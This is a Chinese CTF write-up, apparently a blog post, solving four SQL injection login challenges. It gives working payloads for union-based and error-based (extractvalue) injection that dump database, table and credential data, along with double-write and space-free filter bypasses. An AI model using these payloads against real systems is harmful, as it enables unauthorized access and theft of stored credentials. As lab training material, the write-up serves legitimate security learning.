SQL注入写题笔记

目录

[极客大挑战 2019]EasySQL

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]BabySQL

[极客大挑战 2019]HardSQL


极客大挑战 2019]EasySQL

进行简单测试发现有字符型注入漏洞,基本无过滤,直接使用万能密码绕过

[极客大挑战 2019]LoveSQL

先进行简单测试admin' and 1=1#,直接就登录进去了。

就给了一个登陆密码,没有给出flag,flag可能藏在其他表中。

使用admin'order by x确认当前表的字段数为3

使用 admin1'union select 1,2,3#确认回显位为2和3

直接使用联合注入

爆数据库名称 admin1' union select 1,2,database()#

爆表名 admin1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())#

看出第二张表有问题

继续爆字段 admin1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1')#

最后爆数据 admin1' union select 1,2,(select group_concat(id,'-',username,':',password)from l0ve1ysq1)# 得到flag

[极客大挑战 2019]BabySQL

经过简单测试发现存在过滤,过滤方式为将目标字段替换为空白。

使用SQL字典fuzz一下得到如下字段被过滤。

尝试一下双写绕过 admin' anandd 1=1#

依旧没有给出flag,继续构造联合注入,同第二题一样,只需要把所有过滤的关键字采用双写绕过即可。

[极客大挑战 2019]HardSQL

这道题经过测试也存在过滤,但是过滤的方式与第三题不同,这次是如果检测到黑名单字段,会显示如下界面。

经过测试无法使用双写绕过及大小写绕过。

先使用SQL注入字典fuzz一下,发现如下字段被过滤了

再经过测试 一些未被过滤的字段如果前面或者后面有内容也会被过滤,比如 admin' or 或者1 like 1

可以使用括号来省略空格。

在测试中发现登入无回显,但是语法错误有报错,考虑使用报错注入。

爆数据库名称

admin'or(extractvalue(1,concat(0x7e,database(),0x7e)))#

爆表名

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e)))#

爆字段

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e)))#

爆数据

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e)))#

发现数据过长无法全部显示,使用right(str,x)

admin'or(extractvalue(1,concat(0x7e,right((select(group_concat(id,username,password))from(H4rDsq1)),25),0x7e)))#

得到完整的flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值